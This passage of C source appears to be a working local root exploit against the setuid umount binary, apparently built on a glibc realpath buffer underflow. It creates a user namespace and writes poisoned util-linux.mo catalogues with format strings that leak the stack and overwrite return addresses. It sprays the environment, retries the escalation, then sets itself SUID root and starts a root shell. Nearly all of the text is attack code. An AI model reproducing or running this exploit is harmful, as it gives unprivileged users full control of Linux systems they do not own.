char *catalogueData=(char*)malloc(preambleLength+contentLength);
|
||||
memset(catalogueData, 0, preambleLength);
|
||||
int *preambleData=(int*)catalogueData;
|
||||
*preambleData++=0x950412de;
|
||||
preambleData++;
|
||||
*preambleData++=stringCount+1;
|
||||
*preambleData++=0x1c;
|
||||
*preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2;
|
||||
*preambleData++=0x5;
|
||||
*preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2;
|
||||
|
||||
char *nextCatalogueStringStart=catalogueData+preambleLength;
|
||||
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
||||
char *writeString=(stringPos<0)?"":origStringList[stringPos];
|
||||
int length=strlen(writeString);
|
||||
*preambleData++=length;
|
||||
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
||||
memcpy(nextCatalogueStringStart, writeString, length+1);
|
||||
nextCatalogueStringStart+=length+1;
|
||||
}
|
||||
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
||||
char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos];
|
||||
int length=strlen(writeString);
|
||||
*preambleData++=length;
|
||||
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
||||
memcpy(nextCatalogueStringStart, writeString, length+1);
|
||||
nextCatalogueStringStart+=length+1;
|
||||
}
|
||||
assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength);
|
||||
for(int stringPos=0; stringPos<=stringCount+1; stringPos++) {
|
||||
// *preambleData++=(stringPos+1);
|
||||
*preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos];
|
||||
}
|
||||
*catalogueDataLength=preambleLength+contentLength;
|
||||
return(catalogueData);
|
||||
}
|
||||
|
||||
|
||||
/** Create the catalogue data from the string lists and write
|
||||
* it to the given file.
|
||||
* @return 0 on success.
|
||||
*/
|
||||
int writeMessageCatalogue(char *pathName, char **origStringList,
|
||||
char **transStringList, int stringCount) {
|
||||
int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644);
|
||||
if(catalogueFd<0) {
|
||||
fprintf(stderr, "Failed to open catalogue file %s for writing.\n",
|
||||
pathName);
|
||||
return(-1);
|
||||
}
|
||||
int catalogueDataLength;
|
||||
char *catalogueData=createMessageCatalogueData(
|
||||
origStringList, transStringList, stringCount, &catalogueDataLength);
|
||||
int result=write(catalogueFd, catalogueData, catalogueDataLength);
|
||||
assert(result==catalogueDataLength);
|
||||
close(catalogueFd);
|
||||
free(catalogueData);
|
||||
return(0);
|
||||
}
|
||||
|
||||
void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) {
|
||||
char pathBuffer[PATH_MAX];
|
||||
int pathNameLength=0;
|
||||
while(1) {
|
||||
char *nextPathSep=strchr(pathName+pathNameLength, '/');
|
||||
if(nextPathSep) {
|
||||
pathNameLength=nextPathSep-pathName;
|
||||
} else {
|
||||
pathNameLength=strlen(pathName);
|
||||
}
|
||||
int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s",
|
||||
namespaceMountBaseDir, pathNameLength, pathName);
|
||||
assert(result<PATH_MAX);
|
||||
result=mkdir(pathBuffer, 0755);
|
||||
assert((!result)||(errno==EEXIST));
|
||||
if(!pathName[pathNameLength])
|
||||
break;
|
||||
pathNameLength++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/** This child function prepares the namespaced mount point and
|
||||
* then waits to be killed later on.
|
||||
*/
|
||||
static int usernsChildFunction() {
|
||||
while(geteuid()!=0) {
|
||||
sched_yield();
|
||||
}
|
||||
int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);
|
||||
assert(!result);
|
||||
assert(!chdir("/tmp"));
|
||||
int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644);
|
||||
assert(handle>=0);
|
||||
close(handle);
|
||||
sleep(100000);
|
||||
}
|
||||
|
||||
/** Prepare a process living in an own mount namespace and setup
|
||||
* the mount structure appropriately. The process is created
|
||||
* in a way allowing cleanup at program end by just killing it,
|
||||
* thus removing the namespace.
|
||||
* @return the pid of that process or -1 on error.
|
||||
*/
|
||||
pid_t prepareNamespacedProcess() {
|
||||
if(namespacedProcessPid==-1) {
|
||||
fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");
|
||||
|
||||
char *stackData=(char*)malloc(1<<20);
|
||||
assert(stackData);
|
||||
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
|
||||
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
|
||||
if(namespacedProcessPid==-1) {
|
||||
fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
|
||||
return(-1);
|
||||
}
|
||||
|
||||
char idMapFileName[128];
|
||||
char idMapData[128];
|
||||
sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
|
||||
int setGroupsFd=open(idMapFileName, O_WRONLY);
|
||||
assert(setGroupsFd>=0);
|
||||
int result=write(setGroupsFd, "deny", 4);
|
||||
assert(result>0);
|
||||
close(setGroupsFd);
|
||||
|
||||
sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
|
||||
int uidMapFd=open(idMapFileName, O_WRONLY);
|
||||
assert(uidMapFd>=0);
|
||||
sprintf(idMapData, "0 %d 1\n", getuid());
|
||||
result=write(uidMapFd, idMapData, strlen(idMapData));
|
||||
assert(result>0);
|
||||
close(uidMapFd);
|
||||
|
||||
sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
|
||||
int gidMapFd=open(idMapFileName, O_WRONLY);
|
||||
assert(gidMapFd>=0);
|
||||
sprintf(idMapData, "0 %d 1\n", getgid());
|
||||
result=write(gidMapFd, idMapData, strlen(idMapData));
|
||||
assert(result>0);
|
||||
close(gidMapFd);
|
||||
|
||||
// After setting the maps for the child process, the child may
|
||||
// start setting up the mount point. Wait for that to complete.
|
||||
sleep(1);
|
||||
fprintf(stderr, "Namespaced filesystem created with pid %d\n",
|
||||
namespacedProcessPid);
|
||||
}
|
||||
|
||||
osReleaseExploitData=osSpecificExploitDataList;
|
||||
if(osRelease) {
|
||||
// If an OS was detected, try to find it in list. Otherwise use
|
||||
// default.
|
||||
for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
|
||||
if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
|
||||
osReleaseExploitData=osSpecificExploitDataList+tPos;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
char pathBuffer[PATH_MAX];
|
||||
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
|
||||
namespacedProcessPid);
|
||||
assert(result<PATH_MAX);
|
||||
char *namespaceMountBaseDir=strdup(pathBuffer);
|
||||
assert(namespaceMountBaseDir);
|
||||
|
||||
// Create directories needed for umount to proceed to final state
|
||||
// "not mounted".
|
||||
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
|
||||
// Create symlink to trigger underflows.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
|
||||
namespaceMountBaseDir);
|
||||
assert(result<PATH_MAX);
|
||||
result=symlink(osReleaseExploitData[1], pathBuffer);
|
||||
assert(!result||(errno==EEXIST));
|
||||
|
||||
// getdate will leave that string in rdi to become the filename
|
||||
// to execute for the next round.
|
||||
char *selfPathName=realpath("/proc/self/exe", NULL);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
|
||||
namespaceMountBaseDir);
|
||||
assert(result<PATH_MAX);
|
||||
int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
|
||||
assert(handle>0);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
|
||||
selfPathName);
|
||||
assert(result<PATH_MAX);
|
||||
result=write(handle, pathBuffer, result);
|
||||
close(handle);
|
||||
free(selfPathName);
|
||||
|
||||
// Write the initial message catalogue to trigger stack dumping
|
||||
// and to make the "umount" call privileged by toggling the "restricted"
|
||||
// flag in the context.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
|
||||
char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
|
||||
assert(stackDumpStr);
|
||||
char *stackDumpStrEnd=stackDumpStr;
|
||||
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
|
||||
((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
|
||||
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
|
||||
memcpy(stackDumpStrEnd, "%016lx", 6);
|
||||
stackDumpStrEnd+=6;
|
||||
}
|
||||
// We wrote allready 8 bytes, write so many more to produce a
|
||||
// count of 'L' and write that to the stack. As all writes so
|
||||
// sum up to a count aligned by 8, and 'L'==0x4c, we will have
|
||||
// to write at least 4 bytes, which is longer than any "%hhx"
|
||||
// format string output. Hence do not care about the byte content
|
||||
// here. The target write address has a 16 byte alignment due
|
||||
// to varg structure.
|
||||
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
|
||||
('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
|
||||
STACK_LONG_DUMP_BYTES/16);
|
||||
*stackDumpStrEnd=0;
|
||||
result=writeMessageCatalogue(pathBuffer,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){"1234", stackDumpStr, "5678"},
|
||||
3);
|
||||
assert(!result);
|
||||
free(stackDumpStr);
|
||||
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
assert(result<PATH_MAX);
|
||||
result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);
|
||||
assert((!result)||(errno==EEXIST));
|
||||
secondPhaseTriggerPipePathname=strdup(pathBuffer);
|
||||
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
secondPhaseCataloguePathname=strdup(pathBuffer);
|
||||
|
||||
free(namespaceMountBaseDir);
|
||||
return(namespacedProcessPid);
|
||||
}
|
||||
|
||||
|
||||
|
||||
/** Create the format string to write an arbitrary value to the
|
||||
* stack. The created format string avoids to interfere with
|
||||
* the complex fprintf format handling logic by accessing fprintf
|
||||
* internal state on stack. Thus the modification method does
|
||||
* not depend on that ftp internals. The current libc fprintf
|
||||
* implementation copies values for formatting before applying
|
||||
* the %n writes, therefore pointers changed by fprintf operation
|
||||
* can only be utilized with the next fprintf invocation. As
|
||||
* we cannot rely on a stack having a suitable number of pointers
|
||||
* ready for arbitrary writes, we need to create those pointers
|
||||
* one by one. Everything needed is pointer on stack pointing
|
||||
* to another valid pointer and 4 helper pointers pointing to
|
||||
* writeable memory. The **argv list matches all those requirements.
|
||||
* @param printfArgvValuePos the position of the argv pointer from
|
||||
* printf format string view.
|
||||
* @param argvStackAddress the address of the argv list, where
|
||||
* the argv[0] pointer can be read.
|
||||
* @param printfArg0ValuePos the position of argv list containing
|
||||
* argv[0..n] pointers.
|
||||
* @param mainFunctionReturnAddress the address on stack where
|
||||
* the return address from the main() function to _libc_start()
|
||||
* is stored.
|
||||
* @param writeValue the value to write to mainFunctionReturnAddress
|
||||
*/
|
||||
void createStackWriteFormatString(
|
||||
char *formatBuffer, int bufferSize, int printfArgvValuePos,
|
||||
void *argvStackAddress, int printfArg0ValuePos,
|
||||
void *mainFunctionReturnAddress, unsigned short *writeData,
|
||||
int writeDataLength) {
|
||||
int result=0;
|
||||
int currentValue=-1;
|
||||
for(int nextWriteValue=0; nextWriteValue<0x10000;) {
|
||||
// Find the lowest value to write.
|
||||
nextWriteValue=0x10000;
|
||||
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
||||
int value=writeData[valuePos];
|
||||
if((value>currentValue)&&(value<nextWriteValue))
|
||||
nextWriteValue=value;
|
||||
}
|
||||
if(currentValue<0)
|
||||
currentValue=0;
|
||||
if(currentValue!=nextWriteValue) {
|
||||
result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds",
|
||||
nextWriteValue-currentValue);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
currentValue=nextWriteValue;
|
||||
}
|
||||
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
|
||||
if(writeData[valuePos]==nextWriteValue) {
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%%d$hn", printfArg0ValuePos+valuePos+1);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Print the return function address location number of bytes
|
||||
// except 8 (those from the LABEL counter) and write the value
|
||||
// to arg1.
|
||||
int writeCount=((int)mainFunctionReturnAddress-18)&0xffff;
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%1$%d.%ds%%1$s%%1$s%%%d$hn",
|
||||
writeCount, writeCount, printfArg0ValuePos);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Write the LABEL 6 more times, thus multiplying the the single
|
||||
// byte write pointer to an 8-byte aligned argv-list pointer and
|
||||
// update argv[0] to point to argv[1..n].
|
||||
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
|
||||
result=snprintf(formatBuffer, bufferSize,
|
||||
"%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn",
|
||||
writeCount, writeCount, printfArgvValuePos);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Append a debugging preamble.
|
||||
result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n",
|
||||
printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos,
|
||||
printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3,
|
||||
printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6);
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
}
|
||||
|
||||
|
||||
/** Wait for the trigger pipe to open. The pipe will be closed
|
||||
* immediately after opening it.
|
||||
* @return 0 when the pipe was opened before hitting a timeout.
|
||||
*/
|
||||
int waitForTriggerPipeOpen(char *pipeName) {
|
||||
struct timespec startTime, currentTime;
|
||||
int result=clock_gettime(CLOCK_MONOTONIC, &startTime);
|
||||
startTime.tv_sec+=10;
|
||||
assert(!result);
|
||||
while(1) {
|
||||
int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK);
|
||||
if(pipeFd>=0) {
|
||||
close(pipeFd);
|
||||
break;
|
||||
}
|
||||
result=clock_gettime(CLOCK_MONOTONIC, ¤tTime);
|
||||
if(currentTime.tv_sec>startTime.tv_sec) {
|
||||
return(-1);
|
||||
}
|
||||
currentTime.tv_sec=0;
|
||||
currentTime.tv_nsec=100000000;
|
||||
nanosleep(¤tTime, NULL);
|
||||
}
|
||||
return(0);
|
||||
}
|
||||
|
||||
|
||||
/** Invoke umount to gain root privileges.
|
||||
* @return 0 if the umount process terminated with expected exit
|
||||
* status.
|
||||
*/
|
||||
int attemptEscalation() {
|
||||
int escalationSuccess=-1;
|
||||
|
||||
char targetCwd[64];
|
||||
snprintf(
|
||||
targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid);
|
||||
|
||||
int pipeFds[2];
|
||||
int result=pipe(pipeFds);
|
||||
assert(!result);
|
||||
|
||||
pid_t childPid=fork();
|
||||
assert(childPid>=0);
|
||||
if(!childPid) {
|
||||
// This is the child process.
|
||||
close(pipeFds[0]);
|
||||
fprintf(stderr, "Starting subprocess\n");
|
||||
dup2(pipeFds[1], 1);
|
||||
dup2(pipeFds[1], 2);
|
||||
close(pipeFds[1]);
|
||||
result=chdir(targetCwd);
|
||||
assert(!result);
|
||||
|
||||
// Create so many environment variables for a kind of "stack spraying".
|
||||
int envCount=UMOUNT_ENV_VAR_COUNT;
|
||||
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
|
||||
assert(umountEnv);
|
||||
umountEnv[envCount--]=NULL;
|
||||
umountEnv[envCount--]="LC_ALL=C.UTF-8";
|
||||
while(envCount>=0) {
|
||||
umountEnv[envCount--]="AANGUAGE=X.X";
|
||||
}
|
||||
// Use the built-in C locale.
|
||||
// Invoke umount first by overwriting heap downwards using links
|
||||
// for "down", then retriggering another error message ("busy")
|
||||
// with hopefully similar same stack layout for other path "/".
|
||||
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
|
||||
result=execve(umountArgs[0], umountArgs, umountEnv);
|
||||
assert(!result);
|
||||
}
|
||||
close(pipeFds[1]);
|
||||
int childStdout=pipeFds[0];
|
||||
|
||||
int escalationPhase=0;
|
||||
char readBuffer[1024];
|
||||
int readDataLength=0;
|
||||
char stackData[STACK_LONG_DUMP_BYTES];
|
||||
int stackDataBytes=0;
|
||||
|
||||
struct pollfd pollFdList[1];
|
||||
pollFdList[0].fd=childStdout;
|
||||
pollFdList[0].events=POLLIN;
|
||||
|
||||
// Now learn about the binary, prepare data for second exploitation
|
||||
// phase. The phases should be:
|
||||
// * 0: umount executes, glibc underflows and causes an util-linux.mo
|
||||
// file to be read, that contains a poisonous format string.
|
||||
// Successful poisoning results in writing of 8*'A' preamble,
|
||||
// we are looking for to indicate end of this phase.
|
||||
// * 1: The poisoned process writes out stack content to defeat
|
||||
// ASLR. Reading all relevant stack end this phase.
|
||||
// * 2: The poisoned process changes the "LANGUAGE" parameter,
|
||||
// thus triggering re-read of util-linux.mo. To avoid races,
|
||||
// we let umount open a named pipe, thus blocking execution.
|
||||
// As soon as the pipe is ready for writing, we write a modified
|
||||
// version of util-linux.mo to another file because the pipe
|
||||
// cannot be used for sending the content.
|
||||
// * 3: We read umount output to avoid blocking the process and
|
||||
// wait for it to ROP execute fchown/fchmod and exit.
|
||||
while(1) {
|
||||
if(escalationPhase==2) {
|
||||
// We cannot use the standard poll from below to monitor the pipe,
|
||||
// but also we do not want to block forever. Wait for the pipe
|
||||
// in nonblocking mode and then continue with next phase.
|
||||
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
|
||||
if(result) {
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
escalationPhase++;
|
||||
}
|
||||
|
||||
// Wait at most 10 seconds for IO.
|
||||
result=poll(pollFdList, 1, 10000);
|
||||
if(!result) {
|
||||
// We ran into a timeout. This might be the result of a deadlocked
|
||||
// child, so kill the child and retry.
|
||||
fprintf(stderr, "Poll timed out\n");
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
// Perform the IO operations without blocking.
|
||||
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
|
||||
result=read(
|
||||
pollFdList[0].fd, readBuffer+readDataLength,
|
||||
sizeof(readBuffer)-readDataLength);
|
||||
if(!result) {
|
||||
if(escalationPhase<3) {
|
||||
// Child has closed the socket unexpectedly.
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
break;
|
||||
}
|
||||
if(result<0) {
|
||||
fprintf(stderr, "IO error talking to child\n");
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
readDataLength+=result;
|
||||
|
||||
// Handle the data depending on escalation phase.
|
||||
int moveLength=0;
|
||||
switch(escalationPhase) {
|
||||
case 0: // Initial sync: read A*8 preamble.
|
||||
if(readDataLength<8)
|
||||
continue;
|
||||
char *preambleStart=memmem(readBuffer, readDataLength,
|
||||
"AAAAAAAA", 8);
|
||||
if(!preambleStart) {
|
||||
// No preamble, move content only if buffer is full.
|
||||
if(readDataLength==sizeof(readBuffer))
|
||||
moveLength=readDataLength-7;
|
||||
break;
|
||||
}
|
||||
// We found, what we are looking for. Start reading the stack.
|
||||
escalationPhase++;
|
||||
moveLength=preambleStart-readBuffer+8;
|
||||
case 1: // Read the stack.
|
||||
// Consume stack data until or local array is full.
|
||||
while(moveLength+16<=readDataLength) {
|
||||
result=sscanf(readBuffer+moveLength, "%016lx",
|
||||
(int*)(stackData+stackDataBytes));
|
||||
if(result!=1) {
|
||||
// Scanning failed, the data injection procedure apparently did
|
||||
// not work, so this escalation failed.
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
moveLength+=sizeof(long)*2;
|
||||
stackDataBytes+=sizeof(long);
|
||||
// See if we reached end of stack dump already.
|
||||
if(stackDataBytes==sizeof(stackData))
|
||||
break;
|
||||
}
|
||||
if(stackDataBytes!=sizeof(stackData))
|
||||
break;
|
||||
|
||||
// All data read, use it to prepare the content for the next phase.
|
||||
fprintf(stderr, "Stack content received, calculating next phase\n");
|
||||
|
||||
int *exploitOffsets=(int*)osReleaseExploitData[3];
|
||||
|
||||
// This is the address, where source Pointer is pointing to.
|
||||
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
|
||||
// This is the stack address source for the target pointer.
|
||||
void *sourcePointerLocation=sourcePointerTarget-0xd0;
|
||||
|
||||
void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
|
||||
// This is the stack address of the libc start function return
|
||||
// pointer.
|
||||
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
|
||||
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
|
||||
sourcePointerLocation, sourcePointerTarget,
|
||||
targetPointerTarget, libcStartFunctionReturnAddressSource);
|
||||
// So the libcStartFunctionReturnAddressSource is the lowest address
|
||||
// to manipulate, targetPointerTarget+...
|
||||
|
||||
void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
|
||||
void *stackWriteData[]={
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
|
||||
};
|
||||
fprintf(stderr, "Changing return address from %p to %p, %p\n",
|
||||
libcStartFunctionAddress, stackWriteData[0],
|
||||
stackWriteData[1]);
|
||||
escalationPhase++;
|
||||
|
||||
char *escalationString=(char*)malloc(1024);
|
||||
createStackWriteFormatString(
|
||||
escalationString, 1024,
|
||||
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
|
||||
sourcePointerTarget, // Base value to write
|
||||
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
|
||||
libcStartFunctionReturnAddressSource,
|
||||
(unsigned short*)stackWriteData,
|
||||
sizeof(stackWriteData)/sizeof(unsigned short)
|
||||
);
|
||||
fprintf(stderr, "Using escalation string %s", escalationString);
|
||||
|
||||
result=writeMessageCatalogue(
|
||||
secondPhaseCataloguePathname,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){
|
||||
escalationString,
|
||||
"BBBB5678%3$s\n",
|
||||
"BBBBABCD%s\n"},
|
||||
3);
|
||||
assert(!result);
|
||||
break;
|
||||
case 2:
|
||||
case 3:
|
||||
// Wait for pipe connection and output any result from mount.
|
||||
readDataLength=0;
|
||||
break;
|
||||
default:
|
||||
fprintf(stderr, "Logic error, state %d\n", escalationPhase);
|
||||
goto attemptEscalationCleanup;
|
||||
}
|
||||
if(moveLength) {
|
||||
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
|
||||
readDataLength-=moveLength;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
attemptEscalationCleanup:
|
||||
// Wait some time to avoid killing umount even when exploit was
|
||||
// successful.
|
||||
sleep(1);
|
||||
close(childStdout);
|
||||
// It is safe to kill the child as we did not wait for it to finish
|
||||
// yet, so at least the zombie process is still here.
|
||||
kill(childPid, SIGKILL);
|
||||
pid_t waitedPid=waitpid(childPid, NULL, 0);
|
||||
assert(waitedPid==childPid);
|
||||
|
||||
return(escalationSuccess);
|
||||
}
|
||||
|
||||
|
||||
/** This function invokes the shell specified via environment
|
||||
* or the default shell "/bin/sh" when undefined. The function
|
||||
* does not return on success.
|
||||
* @return -1 on error
|
||||
*/
|
||||
int invokeShell(char *shellName) {
|
||||
if(!shellName)
|
||||
shellName=getenv("SHELL");
|
||||
if(!shellName)
|
||||
shellName="/bin/sh";
|
||||
char* shellArgs[]={shellName, NULL};
|
||||
execve(shellName, shellArgs, environ);
|
||||
fprintf(stderr, "Failed to launch shell %s\n", shellName);
|
||||
return(-1);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char *programmName=argv[0];
|
||||
int exitStatus=1;
|
||||
|
||||
if(getuid()==0) {
|
||||
fprintf(stderr, "%s: you are already root, invoking shell ...\n",
|
||||
programmName);
|
||||
invokeShell(NULL);
|
||||
return(1);
|
||||
}
|
||||
|
||||
if(geteuid()==0) {
|
||||
struct stat statBuf;
|
||||
int result=stat("/proc/self/exe", &statBuf);
|
||||
assert(!result);
|
||||
if(statBuf.st_uid||statBuf.st_gid) {
|
||||
fprintf(stderr, "%s: internal invocation, setting SUID mode\n",
|
||||
programmName);
|
||||
int handle=open("/proc/self/exe", O_RDONLY);
|
||||
fchown(handle, 0, 0);
|
||||
fchmod(handle, 04755);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n",
|
||||
programmName);
|
||||
setresgid(0, 0, 0);
|
||||
setresuid(0, 0, 0);
|
||||
invokeShell(NULL);
|
||||
return(1);
|
||||
}
|
||||
|
||||
for(int argPos=1; argPos<argc;) {
|
||||
char *argName=argv[argPos++];
|
||||
if(argPos==argc) {
|
||||
fprintf(stderr, "%s requires parameter\n", argName);
|
||||
return(1);
|
||||
}
|
||||
if(!strcmp("--Pid", argName)) {
|
||||
char *endPtr;
|
||||
namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10);
|
||||
if((errno)||(*endPtr)) {
|
||||
fprintf(stderr, "Invalid pid value\n");
|
||||
return(1);
|
||||
}
|
||||
killNamespacedProcessFlag=0;
|
||||
} else {
|
||||
fprintf(stderr, "Unknown argument %s\n", argName);
|
||||
return(1);
|
||||
}
|
||||
}
|
||||
|
||||
fprintf(stderr, "%s: setting up environment ...\n", programmName);
|
||||
|
||||
if(!osRelease) {
|
||||
if(detectOsRelease()) {
|
||||
fprintf(stderr, "Failed to detect OS version, continuing anyway\n");
|
||||
}
|
||||
}
|
||||
|
||||
umountPathname=findUmountBinaryPathname("/bin");
|
||||
if((!umountPathname)&&(getenv("PATH")))
|
||||
umountPathname=findUmountBinaryPathname(getenv("PATH"));
|
||||
if(!umountPathname) {
|
||||
fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n");
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
fprintf(stderr, "%s: using umount at \"%s\".\n", programmName,
|
||||
umountPathname);
|
||||
|
||||
pid_t nsPid=prepareNamespacedProcess();
|
||||
if(nsPid<0) {
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
|
||||
// Gaining root can still fail due to ASLR creating additional
|
||||
// path separators in memory addresses residing in area to be
|
||||
// overwritten by buffer underflow. Retry regaining until this
|
||||
// executable changes uid/gid.
|
||||
int escalateMaxAttempts=10;
|
||||
int excalateCurrentAttempt=0;
|
||||
while(excalateCurrentAttempt<escalateMaxAttempts) {
|
||||
excalateCurrentAttempt++;
|
||||
fprintf(stderr, "Attempting to gain root, try %d of %d ...\n",
|
||||
excalateCurrentAttempt, escalateMaxAttempts);
|
||||
|
||||
attemptEscalation();
|
||||
|
||||
struct stat statBuf;
|
||||
int statResult=stat("/proc/self/exe", &statBuf);
|
||||
int stat(const char *pathname, struct stat *buf);
|
||||
if(statResult) {
|
||||
